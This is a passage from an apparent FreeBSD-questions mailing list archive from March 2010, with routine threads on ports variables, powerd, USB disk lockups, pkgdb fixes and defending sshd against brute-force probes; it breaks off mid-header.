X-List-Received-Date: Mon, 08 Mar 2010 15:56:24 -0000 On 08/03/2010 15:39, mailinglist wrote: > I'm possibly considering building a FreeBSD based NAS to provide NFS storage for vSphere in a production environment. I would use FreeBSD-8, amd64 variety. What is the expected EOS& EOL dates (end of support/end of life) for FreeBSD 8? I'm not sure if the EOL question matters for an open source OS, but basically I'm just asking at what point in time would there no longer be security updates and bug fixes made to the OS?_______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" > Have a look at http://security.freebsd.org/#sup. From owner-freebsd-questions@FreeBSD.ORG Mon Mar 8 16:11:40 2010 Return-Path: Delivered-To: freebsd-questions@FreeBSD.ORG Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 4A8481065672 for ; Mon, 8 Mar 2010 16:11:40 +0000 (UTC) (envelope-from chris@vindaloo.com) Received: from corellia.vindaloo.com (corellia.vindaloo.com [64.51.148.100]) by mx1.freebsd.org (Postfix) with ESMTP id 205A48FC19 for ; Mon, 8 Mar 2010 16:11:39 +0000 (UTC) Received: from kessel.vindaloo.com (kessel.vindaloo.com [172.24.145.71]) (using TLSv1 with cipher AES128-SHA (128/128 bits)) (No client certificate requested) by corellia.vindaloo.com (Postfix) with ESMTP id 1AD185D0D; Mon, 8 Mar 2010 11:11:39 -0500 (EST) From: Christopher Sean Hilton Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Date: Mon, 8 Mar 2010 11:11:38 -0500 To: freebsd-questions@FreeBSD.ORG Message-Id: <143FF63D-E6F7-4675-9BA4-31912A49E753@vindaloo.com> Mime-Version: 1.0 (Apple Message framework v1077) X-Mailer: Apple Mail (2.1077) Cc: Subject: Ports/packages: PKGNAMESUFFIX variable X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 08 Mar 2010 16:11:40 -0000 Is is considered okay for end users of the ports system to use the = PKGNAMESUFFIX variable? I need to label the python 2.6 port that I've = build as not having threads. Python with threads interferes with the = mod_python and apache in the default configuration. I did the following: # cd /usr/ports/lang/python2.6; make=20 ... # env PKGNAMESUFFIX=3D"-nothreads" make install package clean Everything seemed to work ok but I want to make sure I'm not creating = problems for myself in the future. -- Chris = --------------------------------------------------------------------------= -- "There will be an answer, Let it = be." = chris@vindaloo.com From owner-freebsd-questions@FreeBSD.ORG Mon Mar 8 16:26:03 2010 Return-Path: Delivered-To: questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 970481065675 for ; Mon, 8 Mar 2010 16:26:03 +0000 (UTC) (envelope-from douglas.j.schmidt@gmail.com) Received: from mail-vw0-f54.google.com (mail-vw0-f54.google.com [209.85.212.54]) by mx1.freebsd.org (Postfix) with ESMTP id 4EC3B8FC1A for ; Mon, 8 Mar 2010 16:26:03 +0000 (UTC) Received: by vws14 with SMTP id 14so3134549vws.13 for ; Mon, 08 Mar 2010 08:26:02 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:cc:content-type :content-transfer-encoding; bh=f/GEZOU7oiYrjyyOiL/kVxdbkcJssazpaMhUNSAaNkI=; b=gvMrlHJGrI5huP1gFZ+i5dWWIGnOl/fCcCyB4uhV+RHdn3wkt/mN36/r+8EvorMXB9 nM/5inoaXw4SVTDrby+68XMsxo1iQ29hdsxTV597j7AtZr6A6+nE2Vokzlt0CDzm+o+b Q2jVc0WKrh0/uX141H7XSPRTSExqEmfHb6+z8= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type:content-transfer-encoding; b=aX8aZUEueKzyCmZku/pyADA3qrPUYcFJRw4VwRF0GORiQlezZQEmqkHWadXKSAEUNw yzsYvQhqsnaWRyT7xnaCBkLmPF4/ri4BS5SCnCF+Z3/NZsMmoQtRCpZPjyHRzZ+QCjHe icR/YcZA7DYddyhoDeElFaZTPxlmNzxiLUe2Q= MIME-Version: 1.0 Received: by 10.220.124.170 with SMTP id u42mr2983657vcr.170.1268063820890; Mon, 08 Mar 2010 07:57:00 -0800 (PST) In-Reply-To: <4B94F09E.9090800@chaotika.org> References: <4b94db8e.2be.35c.17386@westberks.org> <4B94F09E.9090800@chaotika.org> Date: Mon, 8 Mar 2010 10:57:00 -0500 Message-ID: <320306641003080757s1ffd928eu5f29f7fb5c28e174@mail.gmail.com> From: doug schmidt To: Lars Hartmann Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Cc: questions@freebsd.org Subject: Re: (No subject header) X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 08 Mar 2010 16:26:03 -0000 On Mon, Mar 8, 2010 at 7:42 AM, Lars Hartmann wrote: > Hi, >> =A0 =A0 =A0i have a acer aspire one with no oprating system it has >> no cd drive would i =A0be possible to download a redy top use >> version of software so i could boot form =A0a memory stick? >> =A0(i have no other computer to unlock to iso file) > Google is your friend: > http://miwi.bsdcrew.de/2009/06/freebsd-80-install-with-a-usb-stick/ > > next time, do that yourself. > http://lmgtfy.com/?q=3Dfreebsd+8.0+install+with+usb+stick From owner-freebsd-questions@FreeBSD.ORG Mon Mar 8 16:40:30 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 25822106566B; Mon, 8 Mar 2010 16:40:30 +0000 (UTC) (envelope-from dan.naumov@gmail.com) Received: from mail-gy0-f182.google.com (mail-gy0-f182.google.com [209.85.160.182]) by mx1.freebsd.org (Postfix) with ESMTP id C35018FC3B; Mon, 8 Mar 2010 16:40:29 +0000 (UTC) Received: by gyg8 with SMTP id 8so1518015gyg.13 for ; Mon, 08 Mar 2010 08:40:29 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:content-type; bh=KUNYp6Jw1K6u7vAh3lVGp1YoHkjNVBN8NaSYa9iJrxg=; b=TvnI/fGB/etLTjha2Dq7pxlUPHhMWsMWZIDETXlt+S2U8l7vDTgGX8XwLVI7H9LtmK NzVLhIeuMm675h9NlaQhEHWSosiz0d2pfbvFNTf3YI07dij/hQxiFQ659v01srXZpH3h RNSkgDH6622j8cVR476AivPzpsgnDunk/kwo4= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type; b=sG4mx18WCJ/d79T1gMi/xudgnU0DgpNAfZ9v2nfJMMsTBfQDL4joSNnjHvLJuK5HW2 Ba9pRdAzuG9Q11ebnyFwKWPH+HC/673JvxydQTbyW8tdH8wsZkh9nCLv3RkXl/sD9JZ+ QmYGVzweAS/tNDTVNdN/G0h6QoFVkzD4a/S9A= MIME-Version: 1.0 Received: by 10.101.155.38 with SMTP id h38mr7687304ano.131.1268066428994; Mon, 08 Mar 2010 08:40:28 -0800 (PST) In-Reply-To: References: Date: Mon, 8 Mar 2010 18:40:28 +0200 Message-ID: From: Dan Naumov To: FreeBSD-STABLE Mailing List , Jeremy Chadwick , freebsd-questions@freebsd.org Content-Type: text/plain; charset=ISO-8859-1 Cc: Subject: Re: powerd on 8.0, is it considered safe? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 08 Mar 2010 16:40:30 -0000 OK, now I feel a bit stupid. The second half of my PR at http://www.freebsd.org/cgi/query-pr.cgi?pr=144551 (anything related to powerd behaviour) can be ignored. For testing purposes, I started powerd in the foreground and observed it's behaviour. It works exactly as advertised and apparently the very act of issuing a "sysctl -a | grep dev.cpu.0.freq" command uses up a high % of CPU time for a fraction of a second, resulting in confusing output, I was always getting the highest cpu frequency state as the output. Testing powerd in foreground however, shows correct behaviour, CPU is downclocked both before and after issuing that command :) Still doesn't explain why the system boots up at 1249 Mhz, but that's not that big of an issue at this point now I see that powerd is behaving correctly. - Sincerely, Dan Naumov From owner-freebsd-questions@FreeBSD.ORG Mon Mar 8 17:04:21 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id A3BEF106564A for ; Mon, 8 Mar 2010 17:04:21 +0000 (UTC) (envelope-from djackson452@gmail.com) Received: from mail-yw0-f204.google.com (mail-yw0-f204.google.com [209.85.211.204]) by mx1.freebsd.org (Postfix) with ESMTP id 5E7E68FC17 for ; Mon, 8 Mar 2010 17:04:21 +0000 (UTC) Received: by ywh42 with SMTP id 42so2913965ywh.7 for ; Mon, 08 Mar 2010 09:04:20 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:message-id:date:from :user-agent:mime-version:to:subject:content-type :content-transfer-encoding; bh=3tQStKhH9pwSbh0vRLTLjXBnOcAwTy44ic2RWvgkBdA=; b=YJ/Asx3mXixTXzYFfdDdLbVWN9qvZigBtTyxjn0Dkqn8iDH6McMGE0vvLqTtbszcvV BNApf/UW+K6qfNvbN15mKLqEtktjMPlbspNNXC0NpX72RrAZHO6j6FGaX60JeLKVsnZP D/Dcw8XszvgSI+aollR1/96gO4tLcuXCIY3Tc= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=message-id:date:from:user-agent:mime-version:to:subject :content-type:content-transfer-encoding; b=eTuFa7bo1f53Nyhj1E2/ycmbCTsMY0KUtkqplUIpQA5pbLif7rOUqOkvB3YBBu1lUx cxBTDstlSdVh3c6BwANLEAnAvj2X5qUBLnoQzcjazCJW7a9GZIQtugggg8UknR/kXo9P ikBy7cvwtJnk2i40Zs7s7WVyPuA51nWmzishk= Received: by 10.101.29.8 with SMTP id g8mr9981105anj.54.1268067860592; Mon, 08 Mar 2010 09:04:20 -0800 (PST) Received: from [0.0.0.0] (h-43-50.A165.corp.bahnhof.se [94.254.43.50]) by mx.google.com with ESMTPS id 16sm3713219gxk.9.2010.03.08.09.04.13 (version=TLSv1/SSLv3 cipher=RC4-MD5); Mon, 08 Mar 2010 09:04:19 -0800 (PST) Message-ID: <4B952B38.70308@gmail.com> Date: Mon, 08 Mar 2010 11:52:08 -0500 From: David Jackson User-Agent: Thunderbird 2.0.0.22 (Windows/20090605) MIME-Version: 1.0 To: freebsd-questions@freebsd.org Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Subject: Severe instabilities and system lockups X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 08 Mar 2010 17:04:21 -0000 I am still having severe problems with severe system instabilities with FreeBSD and have had these problrms in 7.1 and 8.0. The system randomly locks up, it appears applications lock up when they access the USb disk. Also, when accessing the USB disk, the entire system lockup often for minutes. Performance with accessing USB disks is horrendous,. it took 7 hours to copy a directory that was 200 MB. Any program that accesses the USB disk tend to freeze for minutes, and often the entire system becomes unresponsive for minutes. Overall FreeBSD here is characterized by severe instabilities, ive had better performance from Windows 98 systems. The fact that the entire system freezes up, this should not happen, a well designed system will not lock up the entire OS when accessing disk. Are there any diagnostic tools uch as getting a log of tranmissions on USB and probe it, ,or finmd out what code it is lockilng up on ?Has anyone else seen these problems with USB disks? From owner-freebsd-questions@FreeBSD.ORG Mon Mar 8 16:23:39 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 2E46A106575F for ; Mon, 8 Mar 2010 16:23:38 +0000 (UTC) (envelope-from antoniok.spb@gmail.com) Received: from ey-out-2122.google.com (ey-out-2122.google.com [74.125.78.24]) by mx1.freebsd.org (Postfix) with ESMTP id C94438FC2A for ; Mon, 8 Mar 2010 16:23:37 +0000 (UTC) Received: by ey-out-2122.google.com with SMTP id 25so857722eya.9 for ; Mon, 08 Mar 2010 08:23:36 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:cc:content-type; bh=cq207Dxjoex+h+FSng/WEJhXgTZuGvh/zBbaGety0/4=; b=LFqyABgLvr/B/JhJkKOKYTuYDRN0zoQpo8+eK1+QJImfWddTbTtgW7JDdX5qEGLZZU HrU1bTDNQbK39gMvAHf7c16tubjaFM7hZpaXezJDX49uyxiIu8zL0iRvR0pdIzB6Y7cs HeQw9bNYLLnnYBjMxWNZ3BX5O/NpcbVnhfvJI= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :cc:content-type; b=ike8KZxCDyps1wkbYpENjEj5B3tiEJeXoHhgbI4H5ekj87Jvrs+pmsY/lDONY+Aru1 bN01+T4bgKw0sd3h2JkzG2C9ckGMNkzhBYbGxTiQXFO7VrJmoewm2Sq7HUH0ID/WvpsU 1Gtb/JJ3OsIJbvTtPTvHgVYNgxoQucQI5mdBE= MIME-Version: 1.0 Received: by 10.216.86.67 with SMTP id v45mr1729821wee.70.1268065416620; Mon, 08 Mar 2010 08:23:36 -0800 (PST) In-Reply-To: <20100308150450.8f88fdc2.freebsd@edvax.de> References: <3f1c29e71003080452r532da107r1ccb9368102787f6@mail.gmail.com> <20100308150450.8f88fdc2.freebsd@edvax.de> From: =?UTF-8?B?0JDQvdGC0L7QvSDQmtC70LXRgdGB?= Date: Mon, 8 Mar 2010 19:23:13 +0300 Message-ID: <3f1c29e71003080823x756d01b1r23fee324dd3ce559@mail.gmail.com> To: Polytropon X-Mailman-Approved-At: Mon, 08 Mar 2010 17:11:02 +0000 Content-Type: text/plain; charset=KOI8-R Content-Transfer-Encoding: quoted-printable X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Cc: n dhert , freebsd-questions@freebsd.org Subject: Re: mysql,postgresql,client,server X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 08 Mar 2010 16:23:39 -0000 surely, pkgdb. not pkg_db. I have misspelled. 2010/3/8 Polytropon > On Mon, 8 Mar 2010 15:52:29 +0300, =E1=CE=D4=CF=CE =EB=CC=C5=D3=D3 > wrote: > > # pkg_db -F > > - that will auto-fix versions collisions between dependencies - it may > help > > you. > > I'm sure you need the command "pkgdb -F" (without underscore) > here; for automated run, use "pkgdb -aF". Note that pkgdb > program is part of the portupgrade port. > > > -- > Polytropon > Magdeburg, Germany > Happy FreeBSD user since 4.0 > Andra moi ennepe, Mousa, ... > --=20 =F3 =D5=D7=C1=D6=C5=CE=C9=C5=CD, =E1=CE=D4=CF=CE =EB=CC=C5=D3=D3, http://kless.spb.ru/ From owner-freebsd-questions@FreeBSD.ORG Mon Mar 8 17:56:09 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 9E9A01065676 for ; Mon, 8 Mar 2010 17:56:09 +0000 (UTC) (envelope-from kingedgar@gmail.com) Received: from mail-gw0-f54.google.com (mail-gw0-f54.google.com [74.125.83.54]) by mx1.freebsd.org (Postfix) with ESMTP id 57AC68FC21 for ; Mon, 8 Mar 2010 17:56:08 +0000 (UTC) Received: by gwaa20 with SMTP id a20so3416273gwa.13 for ; Mon, 08 Mar 2010 09:56:08 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:content-type; bh=J0bobfR1H7Rw6fdXXnD8ZvnBRibkLEZHaHtwf8bZtAM=; b=EkL5JwT+wWLrfjKO2mv9kxmVW5CC83Muzhtu5OKTO8zPsA7cny1OV1o9u0qvepCoiN ituX8MXBidf6SNW+DmZiwLMWKE+wVZ/tfAVXvBOE3O/eLkf+rob6YhVSakAENdGe+KrS e3N+BKvCYHSjOD0PcAZK6grr1YUYkt6P+k+C4= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type; b=hiWkRRPmKDtEaqs6faS/6874EmpI63bgU75nremMQdMnftA5JQU+i7xVSxiMTvIIH1 A+IvZOP+/TKtL/gDKQ/RVTjyW9UjBrIuOyxF5u7MXEOYUyOn3TNFRuYmWCV8PV9XIJ2D EMmJLsYHzUpm/346eBqym9UIEch+DUZJZgnuk= MIME-Version: 1.0 Received: by 10.150.55.31 with SMTP id d31mr4408826yba.327.1268070968492; Mon, 08 Mar 2010 09:56:08 -0800 (PST) In-Reply-To: <4B942D4B.6070407@locolomo.org> References: <20100305125446.GA14774@elwood.starfire.mn.org> <4B91B36D.1020507@locolomo.org> <20100307204114.GK16274@mail2.dcoder.net> <4B942D4B.6070407@locolomo.org> Date: Mon, 8 Mar 2010 11:56:08 -0600 Message-ID: <970380131003080956u375be282wd5e5e4445841146f@mail.gmail.com> From: Jason Garrett To: freebsd-questions@freebsd.org Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Subject: Re: Thousands of ssh probes X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 08 Mar 2010 17:56:09 -0000 On Sun, Mar 7, 2010 at 16:48, Erik Norgaard wrote: > On 07/03/10 21:41, dacoder wrote: > > has anybody suggested having sshd listen on a high port? >> > > Any number will do, think about it: > > a. The attacker doesn't really care which host is compromised any will do= , > and better yet someones home box as it is more difficult to trace him. In > that case he will scan large ip-ranges for hosts listening on port 22. > > b. The attacker wants to gain control of a particular server. In that cas= e > he will scan all ports to see what services are running and determine whi= ch > services are running on each port. In that case running ssh on a > non-standard port is futile. > > However, I'm not really a fan of using non-standard ports for ssh, I don'= t > believe it's the right solution to the problem: You have ssh access to th= e > outside because people travel and need remote access. In that case they > might find themselves under other security policies which block access to > services deemed unnecessary. Running ssh on a non-standard port is likely= to > be blocked on the client network - unless you run on, say, port 80. > > The more uses you have, the more problems you will have running ssh on a > non-standard port, the time you save checking your logs may easily be spe= nt > on end user support. > > OP referred to significant impact on bandwidth which I find difficult to > believe. In case connections come from a single ip at a time then you sho= uld > tweak LoginGraceTime, MaxAuthTries, MaxSessions to reduce the number of > concurrent un-authenticate connections and slow down brute force attacks. > > Much better, restrict the client access to certain ranges of IPs. The > different registries publish ip ranges assigned per country and you can > create a list blocking countries you are certain not to visit, you can us= e > my script: > > http://www.locolomo.org/pub/src/toolbox/inet.pl > > Great script! Just one question. Where do you put the list of denied ip ranges? > > BR, Erik > > -- > Erik N=F8rgaard > Ph: +34.666334818/+34.915211157 http://www.locolomo.org > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to " > freebsd-questions-unsubscribe@freebsd.org" > From owner-freebsd-questions@FreeBSD.ORG Mon Mar 8 18:13:15 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id C6237106564A for ; Mon, 8 Mar 2010 18:13:15 +0000 (UTC) (envelope-from cswiger@mac.com) Received: from asmtpout023.mac.com (asmtpout023.mac.com [17.148.16.98]) by mx1.freebsd.org (Postfix) with ESMTP id B0C188FC0C for ; Mon, 8 Mar 2010 18:13:15 +0000 (UTC) MIME-version: 1.0 Content-transfer-encoding: 7BIT Content-type: text/plain; charset=us-ascii Received: from cswiger1.apple.com ([17.209.4.71]) by asmtp023.mac.com (Sun Java(tm) System Messaging Server 6.3-8.01 (built Dec 16 2008; 32bit)) with ESMTPSA id <0KYZ00DXE6M2T850@asmtp023.mac.com> for freebsd-questions@freebsd.org; Mon, 08 Mar 2010 10:13:15 -0800 (PST) X-Proofpoint-Spam-Details: rule=notspam policy=default score=0 spamscore=0 ipscore=0 phishscore=0 bulkscore=0 adultscore=0 classifier=spam adjust=0 reason=mlx engine=5.0.0-0908210000 definitions=main-1003080150 From: Chuck Swiger In-reply-to: <4B952B38.70308@gmail.com> Date: Mon, 08 Mar 2010 10:13:14 -0800 Message-id: <7DB7819B-83E2-4536-84DF-8D97E7D2CDD9@mac.com> References: <4B952B38.70308@gmail.com> To: David Jackson X-Mailer: Apple Mail (2.1077) Cc: freebsd-questions@freebsd.org Subject: Re: Severe instabilities and system lockups X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 08 Mar 2010 18:13:15 -0000 Hi-- On Mar 8, 2010, at 8:52 AM, David Jackson wrote: > I am still having severe problems with severe system instabilities with FreeBSD and have had these problrms in 7.1 and 8.0. The system randomly locks up, it appears applications lock up when they access the USb disk. Also, when accessing the USB disk, the entire system lockup often for minutes. Performance with accessing USB disks is horrendous,. it took 7 hours to copy a directory that was 200 MB. Any program that accesses the USB disk tend to freeze for minutes, and often the entire system becomes unresponsive for minutes. Overall FreeBSD here is characterized by severe instabilities, ive had better performance from Windows 98 systems. The fact that the entire system freezes up, this should not happen, a well designed system will not lock up the entire OS when accessing disk. > > Are there any diagnostic tools uch as getting a log of tranmissions on USB and probe it, ,or finmd out what code it is lockilng up on ?Has anyone else seen these problems with USB disks? You've asked the same question multiple times, but there is sufficient lack of details that you're not going to get good feedback. Put a dmesg from a clean boot, output of "usbdevs -v", and maybe minimal testing with "diskinfo -t /dev/DISK" or "dd if=/dev/DISK of=/dev/null bs=64k" to see your effective transfer rates onto the web somewhere, and email links to this information. Also note that if you are unhappy with FreeBSD, by all means, feel free to use something else. You may also feel free to spare the list your opinions WRT a comparision to Win98. Regards, -- -Chuck From owner-freebsd-questions@FreeBSD.ORG Mon Mar 8 18:24:38 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id D35FA106564A for ; Mon, 8 Mar 2010 18:24:38 +0000 (UTC) (envelope-from bruce@cran.org.uk) Received: from muon.cran.org.uk (unknown [IPv6:2001:470:1f09:679::1]) by mx1.freebsd.org (Postfix) with ESMTP id 9A1D18FC13 for ; Mon, 8 Mar 2010 18:24:38 +0000 (UTC) Received: from muon.cran.org.uk (localhost [127.0.0.1]) by muon.cran.org.uk (Postfix) with ESMTP id 111A691BA; Mon, 8 Mar 2010 18:24:49 +0000 (UTC) X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on muon.cran.org.uk X-Spam-Level: X-Spam-Status: No, score=-2.8 required=8.0 tests=AWL,BAYES_00,RDNS_DYNAMIC autolearn=no version=3.2.5 Received: from core.draftnet (87-194-158-129.bethere.co.uk [87.194.158.129]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by muon.cran.org.uk (Postfix) with ESMTPSA; Mon, 8 Mar 2010 18:24:49 +0000 (UTC) From: Bruce Cran To: freebsd-questions@freebsd.org Date: Mon, 8 Mar 2010 18:24:34 +0000 User-Agent: KMail/1.12.4 (FreeBSD/9.0-CURRENT; KDE/4.3.5; amd64; ; ) References: <4B952B38.70308@gmail.com> In-Reply-To: <4B952B38.70308@gmail.com> MIME-Version: 1.0 Content-Type: Text/Plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Message-Id: <201003081824.34492.bruce@cran.org.uk> Cc: David Jackson Subject: Re: Severe instabilities and system lockups X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 08 Mar 2010 18:24:38 -0000 On Monday 08 March 2010 16:52:08 David Jackson wrote: > Are there any diagnostic tools uch as getting a log of tranmissions on > USB and probe it, ,or finmd out what code it is lockilng up on ?Has > anyone else seen these problems with USB disks? You'll probably get a better response by asking on the freebsd-usb mailing list. The following debug nodes for USB in 8.0 are present: > sysctl hw.usb | grep debug hw.usb.ehci.debug: 0 hw.usb.ohci.debug: 0 hw.usb.uhci.debug: 0 hw.usb.ctrl.debug: 0 hw.usb.umass.debug: 0 hw.usb.debug: 0 hw.usb.dev.debug: 0 hw.usb.ugen.debug: 0 hw.usb.uhub.debug: 0 hw.usb.proc.debug: 0 hw.usb.ulpt.debug: 0 hw.usb.ucom.debug: 0 hw.usb.uhid.debug: 0 hw.usb.ukbd.debug: 0 hw.usb.ums.debug: 0 Your first step should probably be to get a verbose boot log (boot -v) - one of the USB developers will likely know better than I do which sysctl debug nodes to set to get more details. -- Bruce Cran From owner-freebsd-questions@FreeBSD.ORG Mon Mar 8 19:19:43 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 16A05106564A for ; Mon, 8 Mar 2010 19:19:43 +0000 (UTC) (envelope-from freebsd-questions-local@be-well.ilk.org) Received: from mail2.sea5.speakeasy.net (mail2.sea5.speakeasy.net [69.17.117.4]) by mx1.freebsd.org (Postfix) with ESMTP id E4A0C8FC21 for ; Mon, 8 Mar 2010 19:19:42 +0000 (UTC) Received: (qmail 25892 invoked from network); 8 Mar 2010 19:19:42 -0000 Received: from dsl092-078-145.bos1.dsl.speakeasy.net (HELO be-well.ilk.org) ([66.92.78.145]) (envelope-sender ) by mail2.sea5.speakeasy.net (qmail-ldap-1.03) with SMTP for ; 8 Mar 2010 19:19:42 -0000 Received: by be-well.ilk.org (Postfix, from userid 1147) id A20B250883; Mon, 8 Mar 2010 14:19:40 -0500 (EST) From: Lowell Gilbert To: Angelin Lalev References: <532b03711003071325j9ab3c98u703b31abdc7ea8fe@mail.gmail.com> <532b03711003071328n57042980gf5520f40dcc73950@mail.gmail.com> Date: Mon, 08 Mar 2010 14:19:40 -0500 In-Reply-To: <532b03711003071328n57042980gf5520f40dcc73950@mail.gmail.com> (Angelin Lalev's message of "Sun, 7 Mar 2010 23:28:58 +0200") Message-ID: <44y6i239kj.fsf@be-well.ilk.org> User-Agent: Gnus/5.13 (Gnus v5.13) Emacs/23.1 (berkeley-unix) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Cc: freebsd-questions@freebsd.org Subject: Re: [OT] ssh security X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 08 Mar 2010 19:19:43 -0000 Angelin Lalev writes: ;2~> On Sun, Mar 7, 2010 at 11:25 PM, Angelin Lalev wrote: >> Greetings, >> >> I'm doing some research into ssh and its underlying cryptographic >> methods and I have questions. I don't know whom else to ask and humbly >> ask for forgiveness if I'm way OT. >> >> So, SSH uses algorithms like ssh-dss or ssh-rsa to do key exchange. >> These algorithms can defeat any attempts on eavesdropping, but cannot >> defeat man-in-the-middle attacks. To defeat them, some pre-shared >> information is needed - key fingerprint. >> >> If hypothetically someone uses instead of the plain text >> authentication some challenge-response scheme, based on user's >> password or even a hash of user's password would ssh be able to avoid >> the need the user to have key fingerprints of the server prior the >> first connection? >> > > To clarify, we as users anyway do have shared secret with the server > and that's the authentication password why we could not use that > instead of or in addition to a key fingerprint? Because we don't want to give an attacker access to a shared secret if we can verify host identity with a public key first. -- Lowell Gilbert, embedded/networking software engineer, Boston area http://be-well.ilk.org/~lowell/ From owner-freebsd-questions@FreeBSD.ORG Mon Mar 8 20:01:25 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 43DD1106564A for ; Mon, 8 Mar 2010 20:01:25 +0000 (UTC) (envelope-from cyberleo@cyberleo.net) Received: from paka.cyberleo.net (paka.cyberleo.net [66.219.31.21]) by mx1.freebsd.org (Postfix) with ESMTP id 1F6048FC18 for ; Mon, 8 Mar 2010 20:01:24 +0000 (UTC) Received: from [172.16.44.14] (h-74-2-96-2.chcgilgm.static.covad.net [74.2.96.2]) by paka.cyberleo.net (Postfix) with ESMTPSA id 1E03028418; Mon, 8 Mar 2010 15:01:24 -0500 (EST) Message-ID: <4B955792.6090204@cyberleo.net> Date: Mon, 